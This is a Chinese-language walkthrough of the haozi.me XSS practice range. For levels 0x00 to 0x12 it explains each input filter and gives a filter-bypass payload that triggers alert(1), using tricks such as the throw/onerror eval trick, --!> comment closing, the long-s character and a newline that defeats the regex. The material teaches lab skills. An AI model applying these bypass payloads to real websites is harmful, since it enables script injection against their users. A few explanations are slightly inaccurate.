从零到一:XSS靶场 haozi.me 全关卡通关教程(含冷知识汇总)
前言:为什么推荐这个XSS靶场?
对于刚接触Web安全的新手来说,找一个"纯粹"的XSS练习靶场并不容易------很多靶场依赖抓包改包、URL解码绕过,反而忽略了最核心的代码分析能力 和Payload构造逻辑。而「haozi.me XSS靶场」恰好填补了这个空白:它限制输入仅在当前页面完成,浏览器自动URL编码,无法通过外部工具作弊,所有关卡都围绕"理解源码过滤规则+利用HTML/JS特性"展开,还藏了不少冷门但实用的知识点(比如两种HTML注释符、古英文字符绕过),堪称磨练XSS基础的"磨刀石"。
本文将按关卡顺序(0X00-0X12),逐一拆解每个关卡的过滤逻辑、通关思路和Payload,帮你吃透XSS基础绕过技巧。
靶场在线地址:https://xss.haozi.me/#/0x00
正文:全关卡通关解析(0X00-0X12)
0X00:新手友好关------无任何过滤
关卡特点
最基础的入门关,无任何输入过滤和验证,直接构造标准XSS Payload即可触发弹窗。
通关思路与Payload
无需绕过,直接使用<script>标签执行弹窗代码:
html
<script>alert(1)</script>
提示:此关可尝试其他标签(如<img>),熟悉不同XSS触发方式。

0X01:<textarea>标签闭合绕过
关卡特点
输入内容被包裹在<textarea>标签内,默认作为文本渲染,需先闭合<textarea>再执行代码。
通关思路与Payload
先闭合原有<textarea>标签,再插入执行代码:
html
</textarea><script>alert(1)</script>
原理:<textarea>标签需明确闭合,闭合后后续代码会被浏览器解析为HTML/JS。

0X02:<input>标签双引号/闭合绕过
关卡特点
输入内容在<input>标签的属性中,无过滤,可通过双引号突破属性限制,或闭合标签。
通关思路与Payload
利用双引号闭合value属性,添加onfocus事件(配合autofocus自动触发):
html
" onfocus=alert(1) autofocus "
提示:autofocus可选,若不加需点击输入框触发onfocus事件。

0X03:小括号过滤------反引号/throw绕过
关卡特点
过滤输入中的小括号(),替换为空字符,需绕过括号限制执行alert(1)。
通关思路与Payload
有两种常用绕过方式:
-
反引号绕过 :JS中函数调用可使用反引号(`)代替括号:
html<script>alert`1`</script> -
throw绕过 :利用
window.onerror捕获错误并执行eval,将代码藏在错误信息中:html<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
原理:\x28是(的十六进制编码,throw抛出的字符串会被eval解析执行。

0X04:括号+反引号过滤------throw必通
关卡特点
同时过滤小括号()和反引号,仅剩throw`绕过方式可行。
通关思路与Payload
复用throw逻辑,换用<img>标签(更简洁):
html
<img src onerror="window.onerror=eval;throw'=alert\x281\x29';">
提示:标签可替换为<svg>,核心是onerror事件触发逻辑。

0X05:HTML注释符闭合------冷门注释符绕过
关卡特点
输入内容被包裹在<!-- -->注释内,且过滤了常规注释闭合符-->,需用冷门注释符突破。
关键冷知识
HTML注释符有两种写法:<!-- -->(常规)和<!-- --!>(冷门,同样可闭合注释)。
通关思路与Payload
用--!>闭合注释,再插入执行代码:
html
--!><script>alert(1)</script>

0X06:正则过滤auto/on.*=/------回车换行绕过
关卡特点
源码用正则/auto|on.*=|>/ig过滤:匹配auto、on开头+=、>,替换为_,但忽略了换行符。
源码解析
javascript
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_') // 不区分大小写,过滤关键字符
return `<input value=1 ${input} type="text">`
}
通关思路与Payload
在onfocus和=之间插入换行符,绕过正则on.*=的匹配:
html
onfocus
=alert(1);
原理:正则on.*=匹配"on开头+任意字符+=",换行符会打断"任意字符"的连续匹配,使过滤失效。

0X07:过滤所有标签------不闭合标签执行
关卡特点
源码用正则/<\/?[^>]+>/gi过滤所有<内容>或</内容>标签,看似无法插入标签,实则可利用"不闭合标签"执行。
源码解析
javascript
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi // 匹配所有完整/闭合标签
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
关键冷知识
HTML中部分标签无需完整闭合,只要事件属性(如onload、onerror)存在,即可触发执行。
通关思路与Payload
使用不闭合的<svg>或<img>标签,仅保留事件属性:
html
<svg/onload=alert(1)
提示:若不生效,可在末尾加一个回车(部分靶场判断逻辑需换行)。

0X08:过滤</style>------空格绕过闭合
关卡特点
输入内容在<style>标签内(样式标签无法直接执行JS),且过滤</style>替换为"坏人",需绕过闭合</style>。
关键冷知识
在</style>的style后加空格(如</style >),可绕过过滤且正常闭合标签。
通关思路与Payload
用带空格的</style >闭合样式标签,再插入<img>执行代码:
html
</style ><img src="" onerror=alert(1) >

0X09:URL开头验证------双引号突破src属性
关卡特点
源码要求输入以http://www.segmentfault.com开头,才会插入<script src="输入内容">,需突破src属性限制。
源码解析
javascript
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/ // 匹配指定开头的URL
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
通关思路与Payload
在合法URL后加双引号闭合src,再添加onerror事件:
html
http://www.segmentfault.com" onerror="alert(1)
原理:双引号闭合src="合法URL",后续onerror成为<script>标签的新属性,加载失败时触发。

0X0A:URL验证+实体编码------利用靶场自带JS文件
关卡特点
在上一关基础上,增加了实体编码(将&/'"<>/转为实体,无法双引号绕过),需另辟蹊径。
关键冷知识
靶场域名haozi.me下有一个自带JS文件:j.js,内容就是alert(1),可直接引用。
通关思路与Payload
构造符合URL开头验证的地址,指向靶场自带的j.js:
html
https://www.segmentfault.com.haozi.me/j.js
原理:www.segmentfault.com.haozi.me满足"以www.segmentfault.com开头"的正则,实际指向haozi.me的j.js。

0X0B:全大写转换------实体编码绕过
关卡特点
输入内容被强制转为大写(toUpperCase()),而alert()必须小写才执行(ALERT()无效),需用实体编码绕过。
关键冷知识
HTML实体编码在页面渲染时会自动转换为原字符,且转换不受大写影响。
通关思路与Payload
先闭合<h1>标签,再用<img>标签+实体编码的alert(1):
html
</H1> <img src=M onerror=alert(1)>
原理:<h1>转为大写后是<H1>,闭合后插入的<img>事件中,alert(1)未被大写转换(因在属性内),直接执行。

0X0C:过滤script+全大写------双写/单标签绕过
关卡特点
先过滤script(替换为空),再强制大写转换,可通过双写script或用单标签(如<img>)绕过。
通关思路与Payload
提供3种可行方案:
-
双写
script绕过 :scrscriptipt被过滤后变为script:html</H1> <scrscriptipt src onerror=alert(1)></scrscriptipt> -
<img>标签绕过 (更简洁):html</H1> <img src onerror=alert(1)> -
<svg>标签绕过 :html</H1> <svg onload=alert(1)>

0X0D:过滤<>/'"+单行注释-------->注释绕过
关卡特点
输入内容在// alert('输入')的单行注释内,过滤了<>/'",无法用//或/*注释,需用-->(HTML单行注释)。
关键冷知识
-->是HTML的单行注释符,可注释掉后续内容,且不被当前过滤规则拦截。
通关思路与Payload
先换行(突破//注释),再用-->注释后续'):
html
(此处先按回车)
alert(1);
-->
格式说明:第一行必须是回车,使alert(1);脱离//注释范围,-->注释掉后面的'),避免语法错误。

0X0E:过滤<+字母+全大写------古英文字符ſ绕过
关卡特点
源码用/<([a-zA-Z])/g将<+字母替换为<_字母(如<svg变<_svg),再强制大写,看似无法插入标签。
关键冷知识
古英文(古拉丁文)中,ſ是s的异体字,其大写形式为S,且不被[a-zA-Z]过滤(因ſ是特殊字符)。
通关思路与Payload
用ſ代替s,构造<ſvg>标签(大写后变为<SVG>,正常执行):
html
<ſvg/onload=alert(1)>

0X0F:实体编码+console.error------括号闭合+注释绕过
关卡特点
输入内容在console.error('输入')内,特殊字符被实体编码,需闭合console.error()再执行代码。
源码解析
javascript
function render (input) {
function escapeHtml(s) {
// 所有特殊字符转为实体编码
return s.replace(/&/g, '&')...replace(/>/g, '>')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
通关思路与Payload
用')闭合console.error(',用//注释后续内容:
html
'),alert(1); //
原理:console.error(''),alert(1); //')中,')闭合前半部分,alert(1)执行,//注释掉后面的')。

0X10:无过滤------直接执行代码
关卡特点
输入内容直接赋值给window.data,无任何过滤,直接写alert(1)即可。
通关思路与Payload
html
alert(1)
原理:window.data = alert(1)会直接执行alert(1),无需标签包裹。

0X11:特殊字符转义------//注释绕过
关卡特点
输入内容在javascript:console.log("输入")内,特殊字符被转义(如//变\/\/),但\/\/仍能实现注释效果。
通关思路与Payload
用");闭合console.log(",执行alert(1)后用//注释:
html
"); alert(1) //
原理:console.log(""); alert(1) //")中,");闭合前半部分,//注释后续内容。

0X12:仅过滤双引号------\转义绕过
关卡特点
源码仅过滤双引号(替换为\"),可通过\转义\,使\"变为"。
源码解析
javascript
function escape (s) {
s = s.replace(/"/g, '\\"') // 双引号替换为\"
return '<script>console.log("' + s + '");</script>'
}
通关思路与Payload
用\转义替换后的\,闭合console.log(":
html
\");alert(1)//
原理:\使\"变为",最终代码为console.log("");alert(1)//"),成功执行。

总结:从靶场学到的核心知识点
这个靶场虽然只有13关,但覆盖了XSS绕过的核心场景,尤其适合新手建立"看源码→找规则→想绕过"的思维:
- 过滤绕过技巧 :双写(如
scrscriptipt)、回车换行(绕过on.*=)、实体编码(绕过大写)、特殊字符(如ſ、--!>)。 - HTML/JS特性利用 :不闭合标签执行、两种HTML注释符、
throw+onerror绕过括号、//注释的转义失效。 - 新手建议 :
- 不要死记Payload,先理解每关的源码过滤逻辑(比如正则匹配了什么);
- 遇到卡关时,多尝试"反常识"操作(如不闭合标签、用冷门字符);
- 记录靶场中的冷知识(如
ſ、--!>),这些在真实场景中可能用到。
通过这个靶场,你会发现XSS绕过的核心不是"记Payload",而是"理解规则+利用特性"------这也是Web安全的基础思维。
haozi.me XSS 靶场核心知识点手册
手册用途:汇总靶场13个关卡的过滤规则、核心技巧与通关Payload,方便快速复习XSS基础绕过逻辑,重点标注冷门知识点与关键特性。
全关卡核心信息表(0X00-0X12)
| 关卡标识 | 过滤规则/场景限制 | 核心知识点 | 通关Payload | 备注 |
|---|---|---|---|---|
| 0X00 | 无任何过滤与验证 | 标准XSS标签用法,<script>标签直接执行JS |
<script>alert(1)</script> |
新手入门关,可尝试<img>等其他标签练手 |
| 0X01 | 输入被<textarea>包裹(默认渲染为文本) |
标签闭合原理:需先闭合<textarea>,后续代码才会被解析 |
</textarea><script>alert(1)</script> |
闭合标签后,HTML会正常解析后续代码 |
| 0X02 | 输入在<input>标签属性内,无过滤 |
双引号突破属性限制:用"闭合value属性,添加事件 |
" onfocus=alert(1) autofocus " |
autofocus可选,不加需点击输入框触发onfocus |
| 0X03 | 过滤小括号()(替换为空) |
1. JS中函数调用可⽤反引号代替括号;<br>2. throw+onerror捕获错误执行eval` |
1. <script>alert1</script> 2. <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> |
\x28是(的十六进制编码,避免被过滤 |
| 0X04 | 同时过滤小括号()与反引号` |
throw绕过是唯一可行方案,依赖eval解析错误信息 |
<img src onerror="window.onerror=eval;throw'=alert\x281\x29';"> |
标签可替换为<svg>,核心是onerror事件 |
| 0X05 | 输入被<!-- -->包裹,过滤常规注释符--> |
HTML冷门注释符:<!-- --!>可替代-->闭合注释 |
--!><script>alert(1)</script> |
多数人不了解两种注释符,是靶场核心冷知识 |
| 0X06 | 正则`/auto | on.*= | >/ig过滤(替换为_`) |
回车换行绕过正则:on.*=匹配连续字符,换行可打断匹配 |
| 0X07 | 正则/<\/?[^>]+>/gi过滤所有完整/闭合标签 |
不闭合标签可执行:部分标签无需完整闭合,事件属性仍生效 | <svg/onload=alert(1) |
若不生效,末尾加回车(靶场判断逻辑差异) |
| 0X08 | 输入在<style>内,过滤</style>(替换为"坏人") |
空格绕过标签过滤:</style >(style后加空格)可正常闭合 |
</style ><img src="" onerror=alert(1) > |
空格不影响标签闭合功能,但能绕过正则匹配 |
| 0X09 | 要求输入以http://www.segmentfault.com开头 |
双引号突破src属性:闭合src后添加事件属性 |
http://www.segmentfault.com" onerror="alert(1) |
需满足URL开头验证,再通过onerror触发弹窗 |
| 0X0A | 上一关基础+实体编码(&/'"<>/转实体) |
利用靶场自带JS:haozi.me下j.js内容为alert(1) |
https://www.segmentfault.com.haozi.me/j.js |
实体编码无法绕过,需借助外部合法JS文件 |
| 0X0B | 输入强制转为大写(ALERT()无效) |
HTML实体编码自动转换:实体在渲染时会还原为原字符 | </H1> <img src=M onerror=alert(1)> |
alert(1)在属性内不被大写转换,可直接执行 |
| 0X0C | 先过滤script(替换为空),再强制大写 |
1. 双写绕过:scrscriptipt过滤后变为script; 2. 单标签无需script |
</H1> <img src onerror=alert(1)> |
推荐用<img>/<svg>,比双写script更简洁 |
| 0X0D | 过滤<>/'",输入在//单行注释内 |
HTML单行注释符-->:可注释后续内容,不被当前规则过滤 |
(第一行回车) alert(1); --> |
回车突破//注释,-->屏蔽后续')避免语法错 |
| 0X0E | 正则<([a-zA-Z])替换为<_$1,再强制大写 |
古英文字符ſ:ſ是s异体字,大写为S,不被[a-zA-Z]过滤 |
<ſvg/onload=alert(1)> |
输入后会转为<SVG/onload=alert(1)>,正常执行 |
| 0X0F | 实体编码+输入在console.error('')内 |
括号闭合+注释:用')闭合函数,//注释后续内容 |
'),alert(1); // |
最终代码:console.error(''),alert(1); //') |
| 0X10 | 输入直接赋值给window.data,无过滤 |
直接执行JS:无需标签包裹,赋值语句会直接运行 | alert(1) |
最简单的JS执行场景,无任何绕过关卡 |
| 0X11 | 特殊字符转义(如//变\/\/) |
\/\/仍能实现注释:转义后的//不影响注释功能 |
"); alert(1) // |
最终代码:console.log(""); alert(1) //") |
| 0X12 | 仅过滤双引号(替换为\") |
\转义绕过:\使\"还原为",闭合函数 |
\");alert(1)// |
最终代码:console.log("");alert(1)//") |
核心知识点分类总结
1. 标签与注释相关
- 两种HTML注释符 :
<!-- -->(常规)、<!-- --!>(冷门,0X05)。 - 不闭合标签执行 :
<svg/onload=alert(1)(无需>,0X07)。 - 空格闭合标签 :
</style >(空格不影响闭合,0X08)。
2. 过滤绕过技巧
- 双写绕过 :
scrscriptipt(过滤script,0X0C)。 - 回车换行绕过 :
onfocus与=间换行(突破on.*=,0X06)。 - 特殊字符绕过 :古英文字符
ſ(替代s,0X0E)。
3. JS与事件相关
- 函数调用替代:反引号`代替括号(0X03)。
throw+onerror:window.onerror=eval;throw'=alert\x281\x29'(绕过括号,0X03/0X04)。- 实体编码特性:实体在渲染时自动还原(绕过大写,0X0B)。
使用建议
- 复习时按"关卡标识→过滤规则→核心知识点"的顺序回忆,再对照Payload验证逻辑,避免死记硬背。
- 重点标记"冷知识"(如
--!>、ſ),这些是真实场景中易被忽略的突破点。 - 每个关卡尝试替换不同标签(如
<img>换<svg>),熟悉多种XSS触发方式。